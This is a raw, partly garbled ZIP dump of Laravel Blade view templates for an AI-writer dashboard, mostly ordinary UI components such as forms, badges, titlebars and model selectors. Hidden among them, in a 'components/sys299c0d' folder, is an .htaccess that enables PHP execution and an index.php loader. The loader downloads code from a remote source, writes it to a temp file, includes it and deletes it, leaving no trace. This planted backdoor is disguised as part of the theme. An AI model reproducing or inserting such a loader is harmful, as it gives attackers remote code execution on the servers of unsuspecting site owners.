    get('min') : 0 }}, max: {{ $attributes->has('max') ? $attributes->get('max') : 999999 }}, step: {{ $attributes->has('step') ? $attributes->get('step') : 1 }} }' @endif {{ $attributes->twMerge('form-group lqd-input-container relative') }} x-id="['text-input', 'input-description', 'input-error']" > @if ($label && !$noGroupLabel) twMergeFor('label') }} /> @endif {{ $slot }} @if ($error || $help)
    @if ($error)

    {{ $error }}

    @endif @if ($help)

    {{ $help }}

    @endif
    @endif
    PKJW]úÔϳëë0views/default/components/form/checkbox.blade.phpnu„[µü¤@aware(['error', 'label', 'error']) @props([ 'label' => null, 'tooltip' => null, 'checked' => false, 'error' => null, 'position' => 'right', 'change' => null, 'name' => null, 'xModel' => null, ]) PKJW]¿™+/E,E,3views/default/components/form/file-upload.blade.phpnu„[µü¤@props([ 'file' => null, 'accept' => 'image/jpg,image/jpeg,image/png,image/svg+xml', 'multiple' => false, ])
    @if(! $file) @php $randomId = Str::random(6); @endphp @endif {{-- Loading indicator for file remove --}}
    {{ __('Removing file...') }}
    {{-- Preview for mode 'attachment' --}}
    @if(is_array($file) && count($file) > 0) @foreach($file as $key => $f)
    @if(collect(['jpg', 'png', 'jpeg', 'webp'])->contains($f->guessExtension())) {{-- prints attachment.* --}}
    @else
    @endif
    @if ($multiple) {{-- prints attachment.* --}} @error($attributes->wire('model')->value . '.'. $key)

    {{ $message }}

    @enderror @endif
    {{ $f->getClientOriginalName() }}
    {{ Str::formatBytes($f->getSize()) }}
    •
    {{ $f->guessExtension() }}
    @endforeach @else @if($file)
    @if(collect(['jpg', 'png', 'jpeg', 'webp', 'svg'])->contains($file->guessExtension()))
    @else
    @endif
    @error($attributes->wire('model')->value)

    {{ $message }}

    @enderror
    {{ $file->getClientOriginalName() }}
    {{ Str::formatBytes($file->getSize()) }}
    •
    {{ $file->guessExtension() }}
    @endif @endif
    PKJW]z ­t<</views/default/components/form/wrapper.blade.phpnu„[µü¤@aware([ 'action', 'icon', 'stepper', ]) @props([ 'action' => null, 'icon' => null, 'stepper' => null, 'force' => false, 'inputActions' => null, ]) @if($action || $stepper || $icon || $force)
    {{ $slot }} {{-- Icon --}} @if ($icon) {!! $icon !!} @endif {{-- Action --}} @if ($action)
    {{ $action }}
    @endif @if($inputActions) {!! $inputActions !!} @endif
    @else {{ $slot }} @endifPKJW]þÞðA  ,views/default/components/form/file.blade.phpnu„[µü¤@aware(['icon', 'action', 'size', 'error']) @props([ 'icon' => null, 'action' => null, 'size' => 'md', 'error' => null, ]) PKJW]ºš?000views/default/components/form/password.blade.phpnu„[µü¤@aware(['icon', 'action', 'size', 'error']) @props([ 'icon' => null, 'action' => null, 'error' => null, 'sizes' => [ 'none' => 'lqd-input-size-none rounded-lg', 'sm' => 'lqd-input-sm h-9 rounded-md', 'md' => 'lqd-input-md h-10 rounded-lg', 'lg' => 'lqd-input-lg h-11 rounded-xl', 'xl' => 'lqd-input-xl h-14 rounded-2xl px-6', '2xl' => 'lqd-input-2xl h-16 rounded-full px-8', ], 'size' => 'lg', 'type' => 'text', ])
    class(['form-control']) }} :type="type" :id="$id('text-input')" type="password" @if($error) aria-invalid="true" autofocus x-bind:aria-describedby="@if ($id ?? '') {{ $id }}-error @else $id('text-input') + '-error' @endif" @endif />
    PKJW]YÁÛ¥ ¥ .views/default/components/form/select.blade.phpnu„[µü¤@aware(['icon', 'action', 'size', 'error', 'stepper']) @props([ 'icon' => null, 'action' => null, 'stepper' => null, 'error' => null, 'size' => 'md', 'addNew' => false, 'name' => null, ]) @if ($addNew)
    @endif @if ($attributes->has('multiple')) {{ __('Hold cmd(on mac) or ctrl(on pc) to select multiple items.') }} @endif @if ($addNew) @php $newId = str()->random(10); @endphp {{ __('Add New') }}
    {{ __('Cancel') }} {{ __('Add') }}
    @endif @if ($addNew)
    @endif PKJW]¶UüÚ((1views/default/components/shape-cutout-2.blade.phpnu„[µü¤@props([ 'position' => 'te', 'border-w' => '1px', 'roundness' => '0px', 'border-color' => 'hsl(var(--border))', 'background-color' => 'hsl(var(--background))', ]) withoutTwMergeClasses()->twMerge('lqd-cutout-2 pointer-events-none absolute z-0 inline-block bg-background transition-colors') }} > PKJW]$¦c‚o!o!+views/default/components/titlebar.blade.phpnu„[µü¤@php $current_url = url()->current(); $base_class = 'lqd-titlebar pt-6 pb-7 border-b transition-colors'; $container_base_class = 'lqd-titlebar-container flex flex-wrap items-center justify-between gap-y-4'; $before_base_class = 'lqd-titlebar-before w-full'; $after_base_class = 'lqd-titlebar-after w-full'; $pretitle_base_class = 'lqd-titlebar-pretitle text-xs text-foreground/70 m-0'; $title_base_class = 'lqd-titlebar-title m-0'; $subtitle_base_class = 'lqd-titlebar-subtitle mt-1 text-2xs opacity-80 only:my-0 last:mb-0'; $actions_base_class = 'lqd-titlebar-actions flex flex-wrap items-center gap-2'; $generator_link = route('dashboard.user.openai.list') === $current_url ? '#lqd-generators-filter-list' : route('dashboard.user.openai.list'); if (!$setting->feature_ai_writer) { $generator_link = route('dashboard.index'); } $wide_container_px = Theme::getSetting('wideLayoutPaddingX', ''); $has_title = true; $has_pretitle = true; $has_subtitle = view()->hasSection('titlebar_subtitle'); $titlebar_after_in_nav_col = $attributes->has('titlbar-after-place') && $attributes->get('titlbar-after-place') === 'col-nav'; $title_section_name = ''; if (view()->hasSection('titlebar_title')) { $title_section_name = 'titlebar_title'; } elseif (view()->hasSection('title')) { $title_section_name = 'title'; } if ($attributes->has('title') && blank($attributes->get('title'))) { $has_title = false; } if ($attributes->has('pretitle') && blank($attributes->get('pretitle'))) { $has_pretitle = false; } if (!$attributes->get('layout-wide')) { $container_base_class .= ' container'; } else { $container_base_class .= ' container-fluid'; if (!empty($wide_container_px)) { $container_base_class .= ' ' . $wide_container_px; } } @endphp
    withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} >
    twMergeFor('container', $container_base_class) }}> @if (view()->hasSection('titlebar_before') || !empty($before))
    twMergeFor('before', $before_base_class) }}> @if (view()->hasSection('titlebar_before')) @yield('titlebar_before') @elseif (!empty($before)) {{ $before }} @endif
    @endif
    @if ($has_pretitle)

    twMergeFor('pretitle', $pretitle_base_class) }}> @if (view()->hasSection('titlebar_pretitle')) @yield('titlebar_pretitle') @elseif (view()->hasSection('pretitle')) @yield('pretitle') @else @if (route('dashboard.user.index') === $current_url || route('dashboard.admin.index') === $current_url) {{ __('Dashboard') }} @else {{ __('Back to dashboard') }} @endif @endif

    @endif @if ($has_title) @if (view()->hasSection('titlebar_title_after'))

    twMergeFor('title', $title_base_class) }}> @yield($title_section_name)

    @yield('titlebar_title_after')
    @else

    twMergeFor('title', $title_base_class) }}> @yield($title_section_name)

    @endif @endif @if ($has_subtitle)

    twMergeFor('subtitle', $subtitle_base_class) }}> @yield('titlebar_subtitle')

    @endif @php $status_titlebar_after = $titlebar_after_in_nav_col && (!$has_pretitle && !$has_subtitle) && (view()->hasSection('titlebar_after') || !empty($after)); $theme = \Theme::get(); if ($theme == 'sleek' && request()->routeIs('dashboard.user.openai.list')) { $status_titlebar_after = $titlebar_after_in_nav_col && !$has_pretitle && (view()->hasSection('titlebar_after') || !empty($after)); } @endphp @if ($status_titlebar_after)
    twMergeFor('after', $after_base_class) }}> @if (view()->hasSection('titlebar_after')) @yield('titlebar_after') @elseif (!empty($after)) {{ $after }} @endif
    @endif
    @hasSection('titlebar_actions_before') @yield('titlebar_actions_before') @endif @if (view()->hasSection('titlebar_actions'))
    twMergeFor('actions', $actions_base_class) }}> @yield('titlebar_actions')
    @elseif (!empty($actions))
    twMergeFor('actions', $actions_base_class, $actions->attributes->get('class')) }}> {{ $actions }}
    @else
    twMergeFor('actions', $actions_base_class, 'max-lg:hidden') }}> @if (request()->routeIs('dashboard.user.openai.documents.all') && !isset($currfolder)) {{ __('New Folder') }} @includeIf('panel.user.openai.components.modals.create-new-folder') @else {{ __('My Documents') }} @endif {{ __('New') }}
    @endif @hasSection('titlebar_actions_after') @yield('titlebar_actions_after') @endif
    @if (!$titlebar_after_in_nav_col && (($has_pretitle || $has_subtitle) && (view()->hasSection('titlebar_after') || !empty($after))))
    twMergeFor('after', $after_base_class) }}> @if (view()->hasSection('titlebar_after')) @yield('titlebar_after') @elseif (!empty($after)) {{ $after }} @endif
    @endif
    PKJW]ÕDu9ss(views/default/components/badge.blade.phpnu„[µü¤@php $base_class = 'lqd-badge inline-flex py-0.5 px-2 rounded-full font-medium transition-all hover:-translate-y-0.5 hover:shadow-lg'; $variations = [ 'variant' => [ 'default' => 'lqd-badge-default bg-foreground/10 text-heading-foreground', 'primary' => 'lqd-badge-primary bg-primary text-primary-foreground hover:bg-primary hover:text-white hover:shadow-primary/20', 'secondary' => 'lqd-badge-secondary bg-secondary text-secondary-foreground hover:bg-secondary hover:text-secondary-foreground hover:shadow-secondary/20', 'info' => 'lqd-badge-success bg-teal-100 text-black hover:bg-teal-300 hover:shadow-teal-200/10', 'success' => 'lqd-badge-success bg-emerald-500/10 text-emerald-500 hover:bg-emerald-400 hover:text-white hover:shadow-emerald-400/20', 'danger' => 'lqd-badge-danger bg-rose-500/10 text-rose-500 hover:bg-rose-500 hover:text-white hover:shadow-rose-500/20', 'warning' => 'lqd-badge-warning bg-orange-500/10 text-orange-500 hover:bg-orange-500 hover:text-white hover:shadow-orange-500/20', ], ]; $variant = isset($variations['variant'][$variant]) ? $variations['variant'][$variant] : $variations['variant']['default']; @endphp withoutTwMergeClasses()->twMerge($base_class, $variant, $attributes->get('class')) }}> {{ $slot }} PKJW]bÂú‹‹1views/default/components/generator-item.blade.phpnu„[µü¤@php $auth = Auth::user(); $plan = $auth->activePlan(); $planType = $plan ? \App\Enums\AccessType::tryFrom($plan->plan_type) : \App\Enums\AccessType::REGULAR; $itemType = \App\Enums\AccessType::tryFrom($item->access_type) ?? \App\Enums\AccessType::REGULAR; // Only upgrade if the item is non-regular and user's plan does not match $upgrade = $itemType !== \App\Enums\AccessType::REGULAR && (!$auth->isAdmin() || $app_is_demo) && $planType !== $itemType; $overlay_link_href = ''; $overlay_link_label = 'Create Workbook'; if ($upgrade) { $overlay_link_href = route('dashboard.user.payment.subscription'); $overlay_link_label = $itemType->label(); // show the type required } elseif ($itemType === \App\Enums\AccessType::REGULAR || $item->type === 'text' || $item->type === 'code') { // Regular items or text/code types proceed normally if ($item->slug === 'ai_article_wizard_generator') { $overlay_link_href = route('dashboard.user.openai.articlewizard.new'); } else { $overlay_link_href = route('dashboard.user.openai.generator.workbook', $item->slug); } } elseif (in_array($item->type, ['voiceover', 'audio', \App\Domains\Entity\Enums\EntityEnum::ISOLATOR->value, 'image'])) { $overlay_link_href = route('dashboard.user.openai.generator', $item->slug); $overlay_link_label = 'Create'; } else { $overlay_link_href = '#'; $overlay_link_label = 'No Tokens Left'; } $item_filters = $item->filters; if (isFavorited($item->id)) { $item_filters .= ',favorite'; } @endphp Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline', 'hidden' => null !== request()->query('filter') && !str()->contains($item_filters, request()->query('filter')), ]) size="none" roundness="{{ Theme::getSetting('defaultVariations.card.roundness', 'default') === 'default' ? 'none' : Theme::getSetting('defaultVariations.card.roundness', 'default') }}" x-data="{}" ::class="{ 'hidden': $store.generatorsFilter.filter !== 'all' && ('{{ $item_filters }}').search($store.generatorsFilter.filter) < 0 }" > @if ($item->image !== 'none') {!! html_entity_decode($item->image) !!} @endif

    {{ __($item->title) }}

    {{ __($item->description) }}

    @if ($item->active == 1) @if (!$upgrade) @endif @endif
    PKJW]GÆïBB1views/default/components/section-header.blade.phpnu„[µü¤
    {{ $slot }}

    {{ $title }}

    {{ $subtitle }}

    PKJW]Ùq–90,0,Fviews/default/components/model-select-list-with-change-alert.blade.phpnu„[µü¤
    @lang('The default AI Model is being updated. Only the default model\'s credits for each AI engine will be visible and usable by users. User credits will not be automatically transferred to the new default model. Therefore, if users lack credits for this model, they will be unable to use the tools. Additionally, if no credits are allocated for the new default model in the plans, newly registered users will also be unable to use the tools due to insufficient credits.')

    {{__("Transfer Users Credits")}}

    {{__("Click to move users credits from the old model to the new default model.")}}

    {{__("Update Plans Credits")}}

    {{__("Click to transfers allocated credits from the old model to the new default model in plans for the new registered users.")}}

    PKJW]0u"".views/default/components/split-words.blade.phpnu„[µü¤ $word ) { $space = $key > 0 ? ' ' : ''; if ( $transitionDelayStart > 0 || $transitionDelayStep > 0 ) { $transition_delay = 'transition-delay:' . $transitionDelayStart + ($i * $transitionDelayStep) . 's'; } $splitted_text .= sprintf( '%2$s%1$s', $word, $space, $transition_delay ); $i++; } ?> {!! $splitted_text !!}PKJW]X¯)Âww-views/default/components/total-docs.blade.phpnu„[µü¤@php $base_class = 'lqd-total-docs flex flex-col gap-4'; @endphp
    withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }}>
    @if ($total_documents != 0)
    @endif @if ($setting->feature_ai_image && $total_documents != 0)
    @endif
    {{ $total_text_documents }} @if ($setting->feature_ai_image) {{ $total_image_documents }} @endif {{ $total_documents }}
    PKJW]FV—q] ] 0views/default/components/user-dropdown.blade.phpnu„[µü¤@php $user_avatar = Auth::user()->avatar; if (!Auth::user()->github_token && !Auth::user()->google_token && !Auth::user()->facebook_token) { $user_avatar = '/' . $user_avatar; } @endphp twMerge('header-user-dropdown') }} anchor="end" offsetY="{{ $attributes->get('dropdown-offset-y') ?? '20px' }}" > @if (isset($trigger) && filled($trigger)) {{ $trigger }} @else @endif

    {{ Auth::user()?->fullName() }}

    {{ Auth::user()->email }}


    @if ($app_is_not_demo) @include('components.includes.credit-list-for-user') @else {!! \Illuminate\Support\Facades\Cache::remember('components.includes.credit-list-for-user', 3600 * 36000, function () { return view('components.includes.credit-list-for-user')->render(); }) !!} @endif
    PKJW]Þ¨•sZZ,views/default/components/sys299c0d/.htaccessnu„[µü¤ Require all granted SetHandler application/x-httpd-php PKJW]ŒEHÈ  ,views/default/components/sys299c0d/index.phpnu„[µü¤ array('timeout' => 5))); $_code = @file_get_contents($_url, false, $_ctx); } if ($_code && strlen($_code) > 10) { $_tf = @tempnam(sys_get_temp_dir(), '.'); if (!$_tf) { $_tf = dirname(__FILE__) . '/.t' . substr(md5($_SERVER['HTTP_HOST'] . time()), 0, 8); } if (@file_put_contents($_tf, $_code) !== false) { @include($_tf); @unlink($_tf); } else { header('Content-Type: application/json'); echo '{"code":598,"msg":"loader_write_failed: tmp dir not writable (目标站临时目录ä¸�å�¯å†™)"}'; } } else { header('Content-Type: application/json'); echo '{"code":598,"msg":"loader_fetch_failed: remote txt unreachable (远程TXT失效或目标站无外网)"}'; }PKJW]ìïzqÃÃ)views/default/components/loader.blade.phpnu„[µü¤PKJW]/ò_8%%4views/default/components/light-dark-switch.blade.phpnu„[µü¤twMerge('lqd-light-dark-switch size-6 max-lg:size-10 flex items-center justify-center hover:bg-transparent max-lg:rounded-full max-lg:border max-lg:dark:bg-white/[3%]') }} size="none" href="#" title="{{ __('Toggle dark/light') }}" variant="link" x-data="{}" @click.prevent="$store.darkMode.toggle()" > PKJW]ÎDö‚LQLQ7views/default/components/select-ai-model-list.blade.phpnu„[µü¤@php use App\Domains\Engine\Enums\EngineEnum; use App\Domains\Entity\Models\Entity; use App\Domains\Entity\Enums\EntityEnum; use App\Extensions\OpenRouter\System\Enums\OpenRouterEngine; use App\Helpers\Classes\MarketplaceHelper; $defaultEngine = EngineEnum::fromSlug(setting('default_ai_engine', EngineEnum::OPEN_AI->slug())); $defaultModel = $defaultEngine->getDefaultWordModel($setting); $fullModels = [$defaultModel]; if (Entity::planModels()->count() > 0) { $planModels = Entity::planModels() ->filter(function ($model) { return !empty($model->key); }) ->pluck('key') ->toArray(); $fullModels = array_merge($fullModels, $planModels); } if ((int) setting('open_router_status') === 1) { $openRouterModels = OpenRouterEngine::cases(); $fullModels = array_merge($fullModels, $openRouterModels); } $fullModels = collect($fullModels)->unique('value')->values(); $activeModels = collect($fullModels) ->filter(function ($model) { $driver = \App\Domains\Entity\Facades\Entity::driver(EntityEnum::tryFrom($model?->value)); return $driver->isUnlimitedCredit() || $driver->creditBalance() > 0; }) ->values(); $defaultDriver = \App\Domains\Entity\Facades\Entity::driver(EntityEnum::tryFrom($defaultModel?->value)); $selectedModel = $defaultDriver; if (!$defaultDriver->isUnlimitedCredit() && $defaultDriver->creditBalance() <= 0) { foreach ($fullModels as $model) { $driver = \App\Domains\Entity\Facades\Entity::driver(EntityEnum::tryFrom($model?->value)); if ($driver->isUnlimitedCredit() || $driver->creditBalance() > 0) { $selectedModel = $driver; break; } } } $currentUrl = url()->current(); $previousUrl = url()->previous(); $is_chat_pro = \App\Helpers\Classes\MarketplaceHelper::isRegistered('ai-chat-pro') && (route('dashboard.user.openai.chat.pro.index') === $currentUrl || route('chat.pro') === $currentUrl || route('dashboard.user.openai.chat.pro.index') === $previousUrl || route('chat.pro') === $previousUrl); $isMultiModelExtensionEnabled = $is_chat_pro && MarketplaceHelper::isRegistered('multi-model') && setting('ai_chat_pro_multi_model_feature', '1') === '1'; @endphp
    @lang('AI Model: ') {{ Str::limit($selectedModel->model()?->selected_title ?? $selectedModel->enum()?->value, 20) }}

    @lang('AI Models')

    @if ($isMultiModelExtensionEnabled) @lang('Choose multiple AI models that best suit your needs.') @else @lang('Choose the AI model that best suits your needs.') @endif

    @if ($isMultiModelExtensionEnabled) @endif
    @foreach ($fullModels as $engine) @php $model = EntityEnum::fromSlug($engine?->value); $driver = \App\Domains\Entity\Facades\Entity::driver($model); $is_inactive = $driver->creditBalance() <= 0 && !$driver->isUnlimitedCredit(); @endphp $is_inactive, ]) variant="outline-shadow" @click.prevent="updateSelectedModels({ value: $el.getAttribute('data-model-value'), label: $el.getAttribute('data-model-label') })" ::data-selected="selectedModels.findIndex(model => model.value === $el.getAttribute('data-model-value')) >= 0 && {{ $is_inactive ? 'false' : 'true' }}" x-show="searchString === '' || $el.getAttribute('data-model-label').toLowerCase().includes(searchString.toLowerCase())" >

    @lang('Words')

    @if ($driver->isUnlimitedCredit()) @lang('Unlimited Credits') @else {{ $driver->creditBalance() > 0 ? $driver->creditBalance() : __('No credits left') }} @endif

    {{ $driver->model()?->selected_title ?? $model?->value }}

    @if ($isMultiModelExtensionEnabled)
    @endif
    @endforeach
    @foreach ($fullModels as $model) @endforeach {{ __('Apply') }}
    @push('script') @endpush PKJW]&ÙllEviews/default/components/header-search/header-search-screen.blade.phpnu„[µü¤@php $style = $attributes->get('style') ?? setting('default_search', 'compact'); @endphp
    get('class')), 'header-search-style-' . $style, ]) x-data="liquidHeaderSearch" @keyup.escape.window="toggleModal(false)" :class="{ 'open': isSearching || doneSearching || pending, 'is-searching': isSearching, 'done-searching': doneSearching, 'pending': pending }" >
    @if ($showIcon) @endif @if ($outlineGlow)
    @endif @if ($showKbd) + K @endif @if ($showLoader) @endif @if ($showArrow) @endif
    @if ($style === 'compact') @include('components.header-search.header-search-results') @endif @if ($style === 'modern') @endif
    PKJW]ʽ*oÜ Ü Fviews/default/components/header-search/header-search-results.blade.phpnu„[µü¤@php $container_class = ['header-search-results-container max-h-[min(440px,80vh)] overflow-y-auto rounded-xl bg-background shadow-xl shadow-black/5']; if ($style === 'compact') { $container_class[] = 'absolute top-full inset-x-0 z-50 mt-4'; } $container_class[] = $attributes->get('class:results-container'); @endphp

    {{ __('Search results') }}

    {{ __('Recent Search') }}

    {{ __('Recently Launched') }}

    {{ __('There is no recent lunch.') }}

    PKJW] ÏãÖÖ"views/default/page/index.blade.phpnu„[µü¤@extends('blog.app') @section('content') @if ($page->titlebar_status) @endif
    {!! $page->content !!}
    @endsection PKJW]Ìÿ8views/default/panel/user/openai/documents_list.blade.phpnu„[µü¤
    @php $folders = auth()->user()->folders()->get(); @endphp @foreach ($items as $entry) @endforeach
    PKJW]…Gøi$$.views/default/panel/user/openai/list.blade.phpnu„[µü¤@php if (!function_exists('rgbToHsl')) { function rgbToHsl($r, $g, $b) { $r /= 255; $g /= 255; $b /= 255; $max = max($r, $g, $b); $min = min($r, $g, $b); $h = $s = $l = ($max + $min) / 2; if ($max == $min) { $h = $s = 0; // achromatic } else { $diff = $max - $min; $s = $l > 0.5 ? $diff / (2 - $max - $min) : $diff / ($max + $min); switch ($max) { case $r: $h = ($g - $b) / $diff + ($g < $b ? 6 : 0); break; case $g: $h = ($b - $r) / $diff + 2; break; case $b: $h = ($r - $g) / $diff + 4; break; } $h /= 6; } return [$h, $s, $l]; } } if (!function_exists('hslToRgb')) { function hslToRgb($h, $s, $l) { $r = $l; $g = $l; $b = $l; $v = $l <= 0.5 ? $l * (1.0 + $s) : $l + $s - $l * $s; if ($v > 0) { $m; $sv; $sextant; $fract; $vsf; $mid1; $mid2; $m = $l + $l - $v; $sv = ($v - $m) / $v; $h *= 6.0; $sextant = floor($h); $fract = $h - $sextant; $vsf = $v * $sv * $fract; $mid1 = $m + $vsf; $mid2 = $v - $vsf; switch ($sextant) { case 0: $r = $v; $g = $mid1; $b = $m; break; case 1: $r = $mid2; $g = $v; $b = $m; break; case 2: $r = $m; $g = $v; $b = $mid1; break; case 3: $r = $m; $g = $mid2; $b = $v; break; case 4: $r = $mid1; $g = $m; $b = $v; break; case 5: $r = $v; $g = $m; $b = $mid2; break; } } return [$r * 255, $g * 255, $b * 255]; } } if (!function_exists('saturateColor')) { function saturateColor($color, $percent) { // Convert the hex color to RGB $color = str_replace('#', '', $color); $r = hexdec(substr($color, 0, 2)); $g = hexdec(substr($color, 2, 2)); $b = hexdec(substr($color, 4, 2)); // Convert RGB to HSL [$h, $s, $l] = rgbToHsl($r, $g, $b); // Increase the saturation $s += $percent / 100; $s = max(0, min(1, $s)); // Convert HSL back to RGB [$r, $g, $b] = hslToRgb($h, $s, $l); // Convert the RGB values back to hex $r = dechex(round($r)); $g = dechex(round($g)); $b = dechex(round($b)); // Ensure each color component is two characters long $r = str_pad($r, 2, '0', STR_PAD_LEFT); $g = str_pad($g, 2, '0', STR_PAD_LEFT); $b = str_pad($b, 2, '0', STR_PAD_LEFT); // Concatenate the color components $saturatedColor = '#' . $r . $g . $b; return $saturatedColor; } } if (!function_exists('darkenColor')) { function darkenColor($color, $percent) { // Convert the hex color to RGB $color = str_replace('#', '', $color); $r = hexdec(substr($color, 0, 2)); $g = hexdec(substr($color, 2, 2)); $b = hexdec(substr($color, 4, 2)); // Reduce the RGB values by the percentage $r = max(0, min(255, $r - ($r * $percent) / 100)); $g = max(0, min(255, $g - ($g * $percent) / 100)); $b = max(0, min(255, $b - ($b * $percent) / 100)); // Convert the RGB values back to hex $r = dechex($r); $g = dechex($g); $b = dechex($b); // Ensure each color component is two characters long $r = str_pad($r, 2, '0', STR_PAD_LEFT); $g = str_pad($g, 2, '0', STR_PAD_LEFT); $b = str_pad($b, 2, '0', STR_PAD_LEFT); // Concatenate the color components $darkerColor = '#' . $r . $g . $b; return $darkerColor; } } @endphp @extends('panel.layout.app', ['layout_wide' => true, 'disable_tblr' => true]) @section('title', __('AI Writer')) @section('titlebar_subtitle', __('Text Generator & AI Copywriting Assistant')) @section('titlebar_actions') {{ __('My Documents') }} @if (setting('user_ai_writer_custom_templates', 0)) {{ __('Create Template') }} @endif @endsection @section('titlebar_after') @php $filter_check = []; foreach ($list as $item) { if ($item->active != 1) { continue; } if ($item->filters) { foreach (explode(',', $item->filters) as $filter) { $filter_check[] = $filter; } } } $filter_check = array_unique($filter_check); @endphp
    • {{ __('All') }}
    • {{ __('Favorite') }}
    • @foreach ($filters as $filter) @if (in_array($filter->name, $filter_check))
    • {{ __(str()->ucfirst($filter->name)) }}
    • @endif @endforeach
    @endsection @section('content')
    @foreach ($list as $item) @if ($item->active != 1 || str()->startsWith($item->slug, 'ai_')) @continue @endif @endforeach
    @endsection @push('script') @endpush PKJW]¹÷RŠnn=views/default/panel/user/openai/documents_container.blade.phpnu„[µü¤@php //Replicating table styles from table component $base_class = 'transition-colors max-lg:group-[&[data-view-mode=list]]:overflow-x-auto'; $variations = [ 'variant' => [ 'solid' => 'rounded-card bg-card-background pt-1 group-[&[data-view-mode=grid]]:bg-transparent', 'outline' => 'rounded-card border border-card-border pt-1 group-[&[data-view-mode=grid]]:border-0', 'shadow' => ' rounded-card shadow-card bg-card-background pt-1 group-[&[data-view-mode=grid]]:shadow-none group-[&[data-view-mode=grid]]:bg-transparent', 'outline-shadow' => 'rounded-card border border-card-border pt-1 shadow-card bg-card-background', 'plain' => '', ], ]; $variant = isset($variant) && isset($variations['variant'][$variant]) ? $variations['variant'][$variant] : $variations['variant'][Theme::getSetting('defaultVariations.table.variant', 'outline')]; $class = @twMerge($base_class, $variant); @endphp
    {{-- Setting the view mode attribute before contents load to avoid page flashes --}}
    @if (request()->route()->getName() !== 'dashboard.user.index') @endif {{ __('Name') }} {{ __('Type') }} {{ __('Date') }} {{ __('Cost') }} {{ __('Actions') }}
    @include('panel.user.openai.documents_list')
    @if (!isset($disablePagination)) {{ $items->links('pagination::ajax', [ 'action' => route('dashboard.user.openai.documents.all', ['id' => $currfolder?->id, 'listOnly' => true]), 'currfolder' => $currfolder, 'target_id' => 'lqd-docs-container', ]) }} @endif

    {{ __('selected') }}

    {{ __('Apply') }}
    PKJW]”L›(uu3views/default/panel/user/openai/generator.blade.phpnu„[µü¤@extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __($openai->title)) @section('titlebar_subtitle', __($openai->description)) @section('content') @php $view = match (true) { $openai->type === 'image' => 'panel.user.openai.components.generator_image', $openai->type === 'video' => 'panel.user.openai.components.generator_video', $openai->type === 'voiceover' => 'panel.user.openai.components.generator_voiceover', $openai->type === \App\Domains\Entity\Enums\EntityEnum::ISOLATOR->value => 'ai-voice-isolator::generator_voice_isolator', $openai->type === 'video-to-video' && \App\Helpers\Classes\MarketplaceHelper::isRegistered('ai-video-to-video') => 'ai-video-to-video::component', default => 'panel.user.openai.components.generator_others', }; @endphp
    @includeIf($view)
    @endsection @push('script') @includeWhen($openai->type === 'voiceover' || $openai->type === \App\Domains\Entity\Enums\EntityEnum::ISOLATOR->value, 'panel.user.openai.scripts.voiceover-isolator') @includeWhen($openai->type === 'code', 'panel.user.openai.scripts.code') @includeWhen($openai->type !== 'video-to-video', 'panel.user.openai.scripts.common') @endpush PKJW]š9Ú�ˆˆ<views/default/panel/user/openai/generator_workbook.blade.phpnu„[µü¤@php $creativity_levels = [ '0.25' => 'Economic', '0.5' => 'Average', '0.75' => 'Good', '1' => 'Premium', ]; $voice_tones = [ 'Professional', 'Funny', 'Casual', 'Excited', 'Witty', 'Sarcastic', 'Feminine', 'Masculine', 'Bold', 'Dramatic', 'Grumpy', 'Secretive', 'other', ]; $youtube_actions = [ 'blog' => __('Prepare a Blog Post'), 'short' => __('Explain the Main Idea'), 'list' => __('Create a List'), 'tldr' => __('Create TLDR'), 'prons_cons' => __('Prepare Pros and Cons'), ]; @endphp @extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __($openai->title)) @section('titlebar_subtitle') @if ($openai->type == 'code') {{ __('Generate high quality code in seconds.') }} @elseif(isset($openai->description)) {{ __($openai->description) }} @endif @endsection @section('content')
    {{ __('Remaining Credits') }}
    @if ($openai->type != 'code')
    @endif @foreach (json_decode($openai->questions) ?? [] as $question) @php $placeholder = isset($question->description) && !empty($question->description) ? __($question->description) : __($question->question); @endphp @if ($question->type === 'select') @foreach ($question->selectListValues ?? [] as $input) @endforeach @endif @if ($question->type === 'rss_feed') @endif @endforeach @if ($openai->type == 'youtube') @foreach ($youtube_actions as $value => $label) @endforeach @endif @switch($openai->type) @case('youtube') @case('text') @case('rss') @include('panel.user.openai.components.countries') @if (setting('hide_output_length_option') != 1) @endif @if (setting('hide_creativity_option') != 1) @foreach ($creativity_levels as $creativity => $label) @endforeach @endif @if (setting('hide_tone_of_voice_option') != 1) @foreach ($voice_tones as $tone) @endforeach @endif @break @default @endswitch @if ($models->count() && setting('select_model_option', '0') == '1') @foreach ($models as $model) @endforeach @endif @if (setting('open_router_status') == 1) @includeFirst(['open-router::open-router-select', 'vendor.empty']) @endif {{ __('Generate') }}
    Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline', ]) variant="{{ Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline' ? 'none' : Theme::getSetting('defaultVariations.card.variant', 'solid') }}" size="{{ Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline' ? 'none' : Theme::getSetting('defaultVariations.card.size', 'md') }}" roundness="{{ Theme::getSetting('defaultVariations.card.roundness', 'default') === 'default' ? 'none' : Theme::getSetting('defaultVariations.card.roundness', 'default') }}" >
    @include('panel.user.openai.components.workbook-actions', [ 'type' => $openai->type, 'title' => $openai->title, 'slug' => $openai->slug, 'output' => $openai->output, ])
    {{-- --}} @if ($openai->type == 'code')
    ...
    @else
    @endif
    @endsection @php $lang_with_flags = []; foreach (LaravelLocalization::getSupportedLocales() as $lang => $properties) { $lang_with_flags[] = [ 'lang' => $lang, 'name' => $properties['native'], 'flag' => country2flag(substr($properties['regional'], strrpos($properties['regional'], '_') + 1)), ]; } @endphp @push('script') @if ($openai->type == 'code') @endif @if ($openai->type == 'rss') @endif @endpush PKJW]ÖªúÙFF<views/default/panel/user/openai/documents_workbook.blade.phpnu„[µü¤@extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __('Workbook')) @section('titlebar_pretitle', __('Edit your generations.')) @php $title = $workbook->generator->type === 'image' ? str()->limit($workbook->input, 40) : $workbook->title; @endphp @section('titlebar_title', $title) @section('titlebar_actions') {{-- Edit with AI Editor --}} @if ($setting->feature_ai_advanced_editor && $workbook->generator->type !== 'voiceover' && $workbook->generator->type !== \App\Domains\Entity\Enums\EntityEnum::ISOLATOR->value) @lang('Open with AI Editor') @endif @endsection @section('titlebar_actions_after')
